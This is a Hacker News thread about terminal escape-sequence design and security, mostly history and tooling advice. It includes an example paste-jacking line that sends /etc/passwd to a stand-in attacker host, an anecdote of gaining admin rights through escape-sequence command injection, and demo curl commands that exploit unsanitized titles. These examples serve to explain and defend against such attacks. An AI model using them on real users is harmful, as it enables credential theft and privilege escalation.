278 points · by patrakov · 3y ago · 162 comments
Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy.
I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.
Those use TERM/TERMCAP environment variables and some educated guessing reading stdin/stdout/stderr behaviour to figure out what terminal you're using, search for said entry in terminfo/termcap database, and finally invoking native terminal behavior or simulating it with other terminal behavior.
In theory, one could "just implement" an alternative terminal, and put said simplified entries in terminfo/termcap database and things will be all fine.
In practice several of those ANSI escape code behaviors are hard-coded and everyone pretends everything is "at least as capable as xterm" (a oxymoron, given that xterm is one of the most capable and feature-rich terminals around), so you're also gonna have to implement a converter from "xterm ANSI" to your alternative terminal system - sort of how winpty does convert Win32 terminals conventions to ANSI ones.
Then we're back to the starting issue in this converter.
The most common examples I see these days are for red/green/yellow status text in shell scripts. To anyone planning to do that, or even more complex stuff, please consider using tput instead.
tput setaf 1; echo this is red
tput setaf 2; echo this is green
tput setaf 3; echo this is yellow
tput setaf 8; echo this is dim
tput bold; echo this is bold
tput sgr0; echo this is normal
blue=$(tput setaf 4); normal=$(tput sgr0); echo ${blue}Color${normal} text.
(man terminfo for arcane details.)
It's wise to make sure output is going to a terminal before using colors, because they don't play well with logs or text processing commands. You can check with: test -t 1
If you use colors, please consider making them optional, since they don't work well for everyone or in every desktop color scheme. An environment variable makes a sensible switch.
Please don't do that without first checking the background colour. Yellow in particular on a light background is unreadable.
(On an xterm-compatible terminal you can get the current background colour with OSC 11 ; ? BEL. Some popular terminals lie about being xterm-compatible, though.)
One problem is termcap/terminfo itself. The definition has expanded greatly over time, and documentation is poor to non-existent. In many cases termcap/terminfo has been implicitly extended to support ncurses specifically. And like you say, everyone just sort of assumes ANSI/xterm -- nobody has `PS1="$(tput setaf 3)\w $(tput setaf 0) $", you just hard-code the codes.
The last time I chased the rabbit down this hole I got mired in TTY-land and was not able to dig myself out. Too many insane layers, and before you know it you're writing code to emulate serial connections in a vain attempt to make things work without burning the whole world down.
Both (n)vim and tmux have internal TTY emulation as well which makes things even crazier; I think vim uses libvterm and tmux has one internally hand-coded. It's a mess.
Consider a really simple case. You are using screen (or tmux, or emacs, or whatever) and you have your terminal divided in half so that you can use a program in one half and tail a log file in the other. The program sends a ^L to clear the screen. Screen (or tmux or whatever) must read the ^L and then _not_ send it on. If it sent it on, the whole screen would be cleared, not just the half with the program in it. Instead it has to send whatever control sequences would erase the text from just the right portion of the screen while leaving everything else alone. Virtually everything sent by the program(s) has to be intercepted and reinterpreted in order for it to work right.
My shell also creates PTYs on some rare occasions too. I’d prefer not to because it’s messy but sometimes there’s no way around it if you want your command line applications to behave like they would on a TTY whilst still having your utility capture that applications output as if it were writing to a pipe.
This is a limitation of TTYs.
The most annoying part of it all is that creating a PTY differs from one Unix-like OS to another. So it’s definitely not a rabbit hole developers go down happily.
It actually happened the other way around. The escape character was originally only there as an escape character at the start of a control sequence. It was added to the keyboard back in the teletype era specifically so that the operator could control the behavior of the device on the other end. And it was labeled “Alt Mode”! See <https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR...>, though it is a little blurry.
Terminals are in a bad place because there was a whole lot of effort put towards compatibility instead of standardization. The same curse that email suffers under. So the "standards" end up hopelessly complex and also terribly vague because they're trying to support every dumb thing every single company did at the same time. And the worst part is that most all of those companies would cease to exist in short order afterward, so the system is chock full of bug-accurate support for long dead systems that literally nobody uses anymore.
So it's really the reverse of what you state. There has been a lot of effort put into standardization, and compared to the 1960s we are highly uniform in the 21st century and widely adhere to an almost 50-year-old standard. It's not the long-dead systems that spoil this. As evidenced from the headlined article, it is the still active systems adding things like vendor-specific commands for setting titles and clipboards and colours and displaying images and whatnot that have introduced the complexity.
A strictly ECMA-48 only emulator doesn't have even half of the problems mentioned in the headlined article, because the control sequences mentioned are extensions to the standard introduced by various GUI terminal emulator programs.
What else was the ESC key made for if not the control code?
> I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day.
I did that as a 8086 boot sector and it would render tmux with unicode characters stripped. You need surprisingly few sequences.
To me it's insane that one of the most used key command has a 1 second delay in the terminal.
Or that typically Esc + some function/arrow key results in some junk.
Found the vim user! The vast, _vast_ majority of Unix command-line or text-based programs do not use the Esc key because they were not written with a particular terminal or keyboard layout in mind. (Unlike vim.)
But for whatever it's worth, I use vim every day and I notice no 1 second delay when switching modes with the Esc key, so perhaps this is something you can configure in your terminal.
> whatever the application wants to use it for
With the application being a terminal emulator, that is emitting an ESC character.
Every time that your terminal emulator does this in response to binary data, wonder why your terminal emulator hasn't taken the very sensible route that was taken by the authors of mosh years ago, to simply not support alternative GL and GR character set switching, treating it as something whose time has passed given that we live in a UTF-8-to-the-terminal world nowadays.
We're still inventing new ways of breaking arguably the most basic user interfaces.
When I reconnect and restart screen back into emacs, ^S pauses output instead of doing an incremental search.
I have to pop out of screen with the right escape sequence to get to the login shell I ran it in, then go "stty -ixon" to disable XON/XOFF flow control. Or always remember to do that before running "screen -RD".
But I never ASKED for flow control, and it has worked PERFECTLY for decades without ever getting into +ixon mode, until just a few months ago, and now it happens every single time.
Did something change recently, is ubuntu auto-installing earth shattering patches that maliciously change the default tty settings behind my back (because XON/XOFF flow control suddenly became cool again?), or did I take a walk on a foggy night and accidentally slip into an alternate universe where it's always been that way for everyone else, and I'm about to be seized by silent men in white coats and taken asylum which turns out to be a rehab clinic for people who can't read minds?
https://en.wikipedia.org/wiki/All_the_Myriad_Ways
I finally gave up and put an "stty -ixon" in my .bashrc, but I get the ominous feeling that's one of those tempting but dangerous kludges you're not supposed to do -- Isn't there a superstition about never touching your tty in an rc file? Or is that never touching your pp in a login file? -- that can come back and bite you in the ass later when you least expect it.
It seems like this is just the latest in a long series of cascading ass bites.
Terminals in non UNIX, that not pretend to be serial printers, like the Amiga DOS, or plain MS-DOS, those are the basic ones.
Rather than reset or stty sane, I use something like one of the following, based on what software is available, e.g., there is no reset on NetBSD
echo w1b63|ired -n /dev/stdout
echo 1b63|xxd -p -r
echo -e '27\n99\n'|nc-data -g
printf \\33cUnsure how fish can fully protect from this, as if you run "cat" in fish, then it isn't between you and the terminal anymore? Or do you mean fish should do a reset before displaying each prompt? If I run the printf commands from the "flash.c" example in fish I end up with a messed up terminal.
If there's any takeaway from this, while the worst part is the terminal bugs; I'd like people to be aware that any tool dealing with text (command lines, potentially even websites) should consider sanitizing control characters for defense in depth.
I am amused that for example https://www.osnews.com/story/137552/31m-ansi-terminal-securi... has posted my article with the escape character in the title intact. This means that running:
curl https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/
...will turn your screen red because of the embedded "[31m". Obviously this is just harmless fun (would have been more fun to get iTerm2's "]1337;RequestAttention=fireworks", like my curl ip.wtf/moo does, but I couldn't really stick that in the title innocently), but an attacker might be able to find a way to social engineer someone into running "curl" or similar on what looks like a trustworthy site.edit: Hacker News also doesn't sanitize escape characters, so this very comment will turn your screen red:
curl 'https://news.ycombinator.com/item?id=37963815'Demo: https://media.ccc.de/v/all-systems-go-2023-225-making-a-magi...
Background and utility to put such messages in tar archives: https://curiosities.nontrivialpursuit.org/tarvertise-put-a-m...
You can see for yourself whether you have the fix:
Fast featureful terminals (for instance, Kitty):
curl -s https://obfusc.gavagai.nl/roll.tar.xz | unxz | tar tf -
Less featureful terminals: curl -s https://obfusc.gavagai.nl/compatroll.tar.xz | unxz | tar tf -
Slow and featureless terminals: curl -s https://obfusc.gavagai.nl/compatroll-lowfps.tar.xz | unxz | tar tf -Something like: https://gist.github.com/dgl/355840320535bf8ef8b70f2e0722bf65
(I reported this one to OpenBSD but they didn't fix it. Much like Busybox, which has been known for years.)
I emailed the Tar maintainers privately because I thought they might consider it a security vulnerability, however mild. They fixed it promptly but didn't want to make a CVE fuss out of it.
But this would require coordination in POSIX, in the terminals, and in programs using the terminal :-/
But the advantage would be that then you'd be able to put your terminal into this safe mode by default. And the terminal can alert you when a program is writing out control codes that are being ignored, and then you can whitelist them and/or get those programs fixed to fence off their sections of "I'm going to output data from god-knows-where now" with this new terminal mode.
It's not going to happen but we can dream ;-)
Just goes to show how important sanitizing data from unknown sources is.
Should curl, w3m, wget and similar sanitize the data? One can argue that some times you want to pipe the raw data and other times one might not be thinking about the escape sequences and get burned. I would be inclined to say that the tools should filter/escape the dangerous stuff and have a flag like "--raw".
No, it won't:
wget -qO - https://news.ycombinator.com\
/item?id=37963815|grep 31M|xxd -g1 -c6
(...)
0108: 74 3b 26 6c 74 3b t;<
010e: 45 53 43 26 67 74 ESC>
0114: 3b 5b 33 31 4d 26 ;[31M&Now, if we look at the current internet from that point of view, then everything that enters and exits the computer is inband. We can alter every bit and construct custom packets and send them out.
So…
- Is everything we do to encrypt/encapsulate/obfuscate not inband signalling?
- Can true encryption and security only be achieved by having the intermediary (telco) doing it for us?
Just picking your brain, btw.
Jupyter-book docs > Code outputs > ANSI outputs: https://jupyterbook.org/en/stable/content/code-outputs.html#...
`less -R` is not the default.
FWIW, textual (and urwid) does ANSII escape codes well: https://github.com/Textualize/textual
touch file$'\n'name
find . -print0 | xargs -0It contains the raw byte of 0x1b (ESC) in the title (before [31m), which colors the following text red in the context of a terminal. The browser title is reported to Übersicht, which apparently fails to serialize it to proper JSON and thus crashes simple-bar with a JSON decode error, removing the overview of my spaces. Everything is back to normal once I change my browser tab.
I'm frankly a bit surprised that at least Linux and MacOS allow control characters in window titles and wonder if there is any reason to do so.
Imagine someone pwning your OS via an HTML tag.
Hi, Frank! How much would I have to pay you to execute the command:
% grant Don.Hopkins admin
Followed by the HP escape sequences for [up][right][right][send rest of line as input][up].
So when he read the message, it entered the command and ran it with his admin privileges, granting me admin!
Lesson: Don't print out raw escape sequences from untrusted messages!
And don't design terminals with [send rest of line as input] commands.
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
https://donhopkins.com/home/archive/NeWS/news-tape/applicati...
https://donhopkins.medium.com/the-x-windows-disaster-128d398...
>In summary, ICCCM is a technological disaster: a toxic waste dump of broken protocols, backward compatibility nightmares, complex nonsolutions to obsolete nonproblems, a twisted mass of scabs and scar tissue intended to cover up the moral and intellectual depravity of the industry’s standard naked emperor.
https://news.ycombinator.com/item?id=22849522
>James Gosling's Emacs screen redisplay algorithm also used similar "dynamic programming techniques" to compute the minimal cost path through a cost matrix of string edit operations (the costs depended i.e. on the number of characters to draw, length of the escape codes to insert/delete lines/characters, padding for slow terminals, etc).
https://donhopkins.com/home/archive/emacs/skull-and-crossbon...
/********************************************************\
* *
* Ultra-hot screen management package *
* *
\********************************************************/
/***********************************************************-*****
/-------------\
/ \
/ \
/ \
| XXXX XXXX |
| XXXX XXXX |
| XXX XXX |
\ X /
--\ XXX /--
| | XXX | |
| | | |
| I I I I I I I |
| I I I I I I |
\ /
-- --
\-------/
XXX XXX
XXXXX XXXXX
XXXXXXXXX XXXXXXXXXX
XXXXX XXXXX
XXXXXXX
XXXXX XXXXX
XXXXXXXXX XXXXXXXXXX
XXXXX XXXXX
XXX XXX
**************
* BEWARE!! *
**************
All ye who enter here:
Most of the code in this module
is twisted beyond belief!
Tread carefully.
If you think you understand it,
You Don't,
So Look Again.
****************************************************************/ In the xterm there is a feature to change the title of
the window. You can change the title of the window sending one of the escape codes of the
xterm.
(linux: man console_codes)
By Example:
ESC]2;This is my Xterm^G
This escape code changes the xterm's title to "This is my Xterm"
Obviously You can do the same using the kvt (Kde Virtual Terminal).
But the kvt has a buffer overflow. If the size of the new title of the
window is big enough then the kvt will do a core dump.
This bug follows the "reverse exploit" line, if some
program sends
this escape code to the kvt.
For Example, When someone connects to any ftp server and the server sends
the Welcome Message, It will be easy to exploit this bug changing the
Welcome Message (in the .message file) to one with this
escape code and
to cause a buffer overflow.
Another example where someone can cause a buffer overflow in your machine is
simply doing "cat hosts" where hosts may be a file that
you received
by mail containing the "change window escape code".
This bug shows some of the kvt's security problems being exploited via
a "reverse exploit" or a exploit sent directly to your
terminal
(if the attacker can write to your kvt)
If this bug is exploited, then the attacker can obtain
the privileges of the kvt's owner and execute some arbitrary code as this user.
[I found after] This bug was reported to the kde team by Larry Granroth
in January.
(http://bugs.kde.org/db/33/332.html)
The new kde's version doesn't have this bug in the
kconsole
Kvt was replaced totally by kconsole.
But the RedHat 6.0 installed with KDE has this bug.
[1] https://seclists.org/bugtraq/1999/Sep/432It it weird that I couldn't find it in Google but Bing with a simple query. Is Google Search Engine SaaS abandonware?
After all, terminal emulators do exactly this. And it's easy to spot the ones that use state machines instead of regex string matching (which, alas, a few do). The string matchers have had loads of bugs and problems over the years handling unknown but correctly formed control sequences, which the state machine implementations just swallow and ignore with ease.
No source code or familiarity with using LD_ tricks? use python wrapper around program and script python for appropriate mods before passing along to window.
Wonder if this was one reason for Sun Solaris NeWS (post script based vs, text based window manager)
Perhaps use python from command line with gui extensions and no ansi escape sequence support as window manger.
Run terminal window without ansi escape seqence support. Better coverage if done with ebpf filter at the OS level.
I also think that if someone (including, of course, the bumbling fool known as myself) ran something on my terminal I'm already toast even before the terminal misbehaves - because most sandboxes/mandatory access control systems are either a complete joke or disabled most of the time.
I assume it is possible to ingest a stream of terminal data much faster than rendering it (obviously keeping track of what is needed to render). Then the render loop can happen independently at a certain framerate, like a game engine. It is quite frustrating when a verbose 'cat' or 'find' slows my terminal emulator to a crawl drawing each line.
(edit: it just occurred to me that maybe this would break scroll-back in the terminal emulator... hmm)
In general you're better off using a terminal that performs better, because extra buffering would be annoying the other way around in the usual throughput/latency tradeoff (you'd press ^C and then it would continue to display what's in its buffer to you, rather than reacting quickly).
What mosh brings is decoupling the rendering across the network. A lot of the poor perceived performance over high-latency links happens because ssh puts your terminal into raw mode, so even if the line is being echoed back, that is going all the way to the remote system and back again.
It's actually possible to fix line editing in ssh, without using something like mosh, see for example https://github.com/hyc/OpenSSH-LINEMODE. It's a shame OpenSSH hasn't merged something like those (now quite old) patches.
Someone (I don't remember who did what here) discovered that they could get `SHOW SYSTEM` (roughly analogous to unix `ps` command) to display their name in reverse video by adding escape sequences to their process name. So a bunch of us started experimenting to see what else we could embed in there.
Most of the terminals attached to the VAX were Zenith Z-19s, which mostly emulated DEC VT-52s but with some added features. One of those added features was an enablable 25th line (in addition to the regular 24x80 display) that functioned as a sort of status line. We found we could enable that, write something into it, then use the "transmit 25th line" escape sequence to send its contents back to the VAX. I remember having to work around limitations like it sending an escape sequence before the 25th line (which confused VMS), and I think it didn't send a carriage return at the end... or something like that.
I don't think we ever got it to do anything terribly interesting, but it was fun to play with. And then IIRC a VMS update blocked control characters in the `SHOW SYSTEM` listing.
https://donhopkins.com/home/code/term.ps.txt
It also supported the <ESC>#8 "fill screen with E" test sequence, just so it could pass VTTest, plus a few extra Sun and AAA sequences that my slave driving boss Hugh Daniel demanded (since he was from Ann Arbor). Yes, a company actually called "Wedge Computer, Inc." paid me to write it!
There are also some subtleties about missing numeric arguments that VTTest checks. My SoftTTY emulator would detect syntax errors in escape sequences, which implied you were trying to test it with VTtest, so then it would change the cursor to the shape of a hand giving you the finger (shape-error-cursor), and flash it 20 times, to flip Hugh off for subjecting my terminal emulator to VTTest.
https://en.wikipedia.org/wiki/Vttest
/ps-string-prefix {
/ps-string 256 string def
/ps-string-len 0 def
/termulate-char //termulate-ps-string def
} def
/termulate-ps-string {
dup 27 eq {
pop
reset-termulator
ps-string 0 ps-string-len getinterval cvx
{ exec } stopped pop
} {
ps-string ps-string-len 3 -1 roll put
/ps-string-len ps-string-len 1 add def
ps-string-len ps-string length eq {
/ps-string
ps-string-len dup add string
ps-string 1 index copy pop
def
} if
} ifelse
} def
I used it for writing a Lisp "Little Backwards Chainer" program that would download a tree of dirty knowledge base symbols into the server to define a corresponding tree of pop-up pie menus, so I could browse the Lisp data structures as pie menus to debug the program.https://donhopkins.com/home/archive/lisp/little-backwards-ch...
; Write dirty nodes to the NeWS server in PostScript, and mark them as
; clean.
(defun sweep ()
(clean-tree '*KB*))
(defun clean-tree (node)
(cond ((get node 'dirty)
(send-node node)
(putprop node nil 'dirty)))
(cond
((null (node-alist node)) nil)
(t (mapcar #'(lambda (link)
(clean-tree (link-node link)))
(node-alist node))
nil)))
(defun send-node (node)
(ps-make-node node (node-sexp node)
(node-associated-atom node)
(node-alist node)))
; Magic control characters the PostScript terminal emulator responds to.
(setq StartPS "^_") ; Ctrl-_: begin trojan horse
(setq EndPS "^]") ; Escape: end and execute trojan horse
; Write out a NeWS menu definition, with the right control characters to
; make the PostScript terminal program (SoftTTY) execute it.
(defun ps-make-node (name sexp associated-atom alist)
(msg "% Sending " name "...")
(msg StartPS "userdict /" name " [" N)
(msg " " (list 'Name= name) " {" (ncons name) " print}" N
" " (list 'Sexp= sexp) " {" (ncons sexp) " print}" N
" " (list 'Atom= (fact-name associated-atom))
" {" (ncons (fact-name associated-atom)) " print}" N)
(mapcar #'(lambda (link)
(msg " " link " /" (link-node link) " cvx" N))
alist)
(msg "] /new DefaultMenu send put" N)
(msg name " /Clockwise false put" N)
(cond ((eq name '*KB*) (msg "/ClientMenu *KB* def" N))) ; kludge
(msg EndPS N))
Hugh was the author of ColorToy and ColorTool, which lets you play with and change all the user interface colors (even to dynamic random procedural colors that changed every time it paints, which was the most fun, and useful for debugging drawing, incremental screen updating, and clipping bugs!)https://donhopkins.com/home/archive/NeWS/news-tape/utilities...
https://www.donhopkins.com/home/archive/lisp/mylisp/ollie
https://chat.openai.com/share/bd1e4fc6-c1c1-499f-aca5-12cbd9...
The intruder was able to log into the professor's Sun 3/60 workstation from mimsy thanks to his .rhosts file! Things were so much simpler those days.
; host mimsy
(make file ^name passwd ^writable yes ^owner root ^host mimsy)
(make user ^user root ^password unknown ^host mimsy)
(make user ^user casper ^password unknown ^host mimsy)
(make rhosts ^user casper ^host mimsy
^ruser casper ^rhost tycho)
(make user ^user hendler ^password unknown ^host mimsy)
(make rhosts ^user hendler ^host mimsy
^ruser hendler ^rhost dormouse)
; host dormouse
(make user ^user root ^password unknown ^host dormouse)
(make user ^user sysdiag ^password none ^host dormouse)
(make user ^user hendler ^password unknown ^host dormouse)
(make rhosts ^user hendler ^host dormouse
^ruser hendler ^rhost mimsy)Ideally there should be some way to cancel responses (echoback), which would avoid some of the problems; I am not sure if this can be done. Another thing I had considered is to make a "universal escape sequence" which is recognized anywhere including in the middle of something else. There are other considerations, too.
(I had considered writing a terminal emulator, and will have to consider this and other things.)
(I had also considered operating system design, where the command-line interface would work differently than this anyways.)
Python provided a more modern variation on the ansi escape sequence issues theme with multi-mapping UTF to single point ascii[0].
cue "more things change, more they stay the same" meme
[0] : http://godatadriven.com/blog/handling-encoding-issues-with-u...
It seems the author didn't look at the code because in VTE, bytes enter UTF-8 decoder first and therefore the parser is already dealing with 32-bit unichars.
I agree the only correct way C1 controls can work is encoded within UTF-8 data, else nothing works.
The context is escaping C0 control characters is simple, you look for a single byte and filter it as you need. C1 controls when not encoded as UTF-8 are also single byte characters and therefore easy to filter out. For multi-byte encodings, you need to correctly decode the encoding, then filter, this has synchronisation problems and is tricky[1] (particularly as a Unix byte stream doesn't tell you it's encoding, although you can assume if someone is trying to display it as text it is probably UTF-8 these days).
I should probably expand on that recommendation more, there's a lot in the paper, but the crux of the issue is C1 controls are a legacy thing and serve no useful purpose anymore and as I've shown there are enough issues just dealing with C0 controls.
If C1 controls are encoded as UTF-8 as is the only way they can work on a modern system, then they take up as many bytes as C0 controls (e.g. CSI is "\e[" or U+009B, which encoded as UTF-8 is 0xC2 0x9B) so they don't even save bytes on the wire.
[1]: see https://www.openwall.com/lists/oss-security/2015/09/20/1 and some replies to that.
> regular-text-is-herejj:! curl -F 'pw=@/etc/passwd' attacker.dev/upload.php
Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste.
> mapping in Insert mode and Command-line mode is disabled
Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim!
It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
Terminal emulators are a relic. Shells should back on to simpler modern toolkits, that separates UI from shell I/O.
I'm aware of the irony of an Emacs user calling for the disuse of relic tools. :)